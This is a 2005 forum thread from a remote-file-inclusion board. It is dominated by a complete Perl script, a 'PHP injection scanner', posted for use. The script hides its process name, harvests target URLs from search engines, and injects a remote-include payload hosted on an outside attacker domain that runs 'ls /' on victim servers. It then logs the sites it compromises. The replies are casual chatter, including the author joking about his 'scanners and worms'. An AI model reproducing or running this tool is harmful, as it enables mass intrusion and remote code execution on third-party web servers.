 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
PHP injection scanner 5.0 priv8 version by poerschke |
 |
 Posted: Fri Apr 15, 2005 2:37 pm |
 |
|
| LINUX |
| Moderator |
 |
| |
| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
|
|
 |
|
 |
|
| Code: | #!/usr/bin/perl
use LWP::Simple;
use IO::Socket::INET;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\t[ PHP injection scanner 5.0 priv8 version by poerschke ]\n\t[ irc.gigachat.net #spykids ]\n\n\n";
if(!@ARGV[0]){
print "\t[ use: perl php5.0.pl <procura> ]\n\n";
exit;
}
print "\t[ Camuflando pid ]\n";
my $processo = "/usr/local/sbin/httpd - spy";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
print "\t[ Pid: $pid Processo: $processo ]\n";
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);
open(sites,">$arq");
print sites "";
close(sites);
$procura = @ARGV[0];
chomp $procura;
print "\t[ Procurando por $procura no Google ]\n";
for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
print $sock "Host: www.google.com.br";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $sock "Accept-Language: pt-br, pt;q=0.50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $sock "Keep-Alive: 300";
print $sock "Connection: keep-alive";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}
print "\t[ Procurando por $procura no Cade ]\n";
for($cadenu=1;$cadenu <= 991; $cadenu +=10){
@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
$ae = "@cade";
while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;
$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;
open(a,">>$arq");
print a "$uber\n";
close(a);
}}
print "\t[ Pronto sites pegos no google e cade ]\n";
print "\t[ Excluindo os sites repetidos ]\n";
$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);
print "\t[ Total de sites para scanear: $a ]\n";
for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;
if ($ubersite =~/"/)
{
$nu = index $ubersite, '"';
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a].'/'.$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}
$lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls%20/';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], '.';
$subproc = substr($ja[$t],$num1,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);
print "\t[ Come?ando o scan aguarde. Pode demorar horas. ]\n";
for($q=0;$q<=$w;$q++)
{
if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
if($tipo =~/root/)
{
if ($tipo =~/etc/)
{
if ($tipo =~/boot/)
{
open(a,">>res.txt");
print a "$hot[$q]\n";
close(a);
}}}}}}
print "\t[ Pronto scanner concluido ]\n";
print "\t[ O resultado foi salvo no ftp do spykids ]\n";
|
[/quote] |
|
|
|
|
|
|
|
|
| Posted: Fri Apr 15, 2005 11:53 pm |
|
|
| zer0-c00l |
| Advanced user |
 |
| |
| Joined: Jun 25, 2004 |
| Posts: 72 |
| Location: BRAZIL! |
|
|
|
|
|
|
Lol, poerschke is my friend  |
|
|
|
|
| Posted: Sat Apr 16, 2005 1:20 pm |
|
|
| y3dips |
| Valuable expert |
 |
| |
| Joined: Feb 25, 2005 |
| Posts: 281 |
| Location: Indonesia |
|
|
|
|
|
|
wew, php injection scanner ???? really ..
is there somebody try it ?
ok, ill save the script n do some research about it, but the language will give a litlle problem to me  |
|
_________________
IO::y3dips->new(http://clog.ammar.web.id); |
|
|
|
|
olha s? o que eu achei |
|
| Posted: Mon Apr 18, 2005 4:49 pm |
|
|
| poerschke |
| Regular user |
 |
| |
| Joined: Apr 18, 2005 |
| Posts: 5 |
| Location: Brazil |
|
|
|
|
|
|
ol? pessoal
estou vendo que est?o usando meus scanners e worms heheheh
fa?am bom uso.
ae zero_cool como est? ?
falow maninho. |
|
|
|
|
| Posted: Mon Apr 18, 2005 5:40 pm |
|
|
| KingOfSka |
| Advanced user |
|
| |
| Joined: Mar 13, 2005 |
| Posts: 61 |
|
|
|
|
|
|
|
can someone translate in english ? 
or at least tell me in what language it is lol lol |
|
|
|
|
| Posted: Mon Apr 18, 2005 6:26 pm |
|
|
| poerschke |
| Regular user |
|
| |
| Joined: Apr 18, 2005 |
| Posts: 5 |
| Location: Brazil |
|
|
|
|
|
|
|
|
|
|
| Posted: Mon Apr 18, 2005 6:35 pm |
|
|
| erg0t |
| Valuable expert |
|
| |
| Joined: Apr 08, 2005 |
| Posts: 55 |
| Location: Uruguay |
|
|
|
|
|
|
| KingOfSka wrote: | can someone translate in english ?
or at least tell me in what language it is lol lol |
I don?t know portuguese but I think he said:
hi people
I?m seeing that you are using my scanners and worms hehehe
do good use of them
and then he salutes zero_cool |
|
|
|
|
| Posted: Fri May 06, 2005 12:54 am |
|
|
| zer0-c00l |
| Advanced user |
|
| |
| Joined: Jun 25, 2004 |
| Posts: 72 |
| Location: BRAZIL! |
|
|
|
|
|
|
| erg0t wrote: | | KingOfSka wrote: | can someone translate in english ?
or at least tell me in what language it is lol lol |
I don?t know portuguese but I think he said:
hi people
I?m seeing that you are using my scanners and worms hehehe
do good use of them
and then he salutes zero_cool |
thats it |
|
|
|
|
|
Re: olha s? o que eu achei |
|
| Posted: Wed Sep 28, 2005 12:56 pm |
|
|
| NeOcOrTeX_486 |
| Beginner |
|
| |
| Joined: Sep 28, 2005 |
| Posts: 1 |
|
|
|
|
|
|
|
| poerschke wrote: | ol? pessoal
estou vendo que est?o usando meus scanners e worms heheheh
fa?am bom uso.
ae zero_cool como est? ?
falow maninho. |
to retado com vc vc naum me esclareceu a duvida do netcat |
|
|
|
|
| Posted: Sat Oct 15, 2005 3:45 am |
|
|
| sevster |
| Beginner |
|
| |
| Joined: Oct 02, 2005 |
| Posts: 1 |
|
|
|
|
|
|
|
| is this a virus? my antivirus catches it and deletes it automatically... |
|
|
|
|
| Posted: Sat Oct 15, 2005 11:10 am |
|
|
| shai-tan |
| Valuable expert |
|
| |
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
| First of all dont use Windows. Best to run all scripts and develop/program in Linux. And perl is always run best under Linux. |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 3
Overall: 8201
People Online:
Visitors: 223
Members: 0
Total: 223
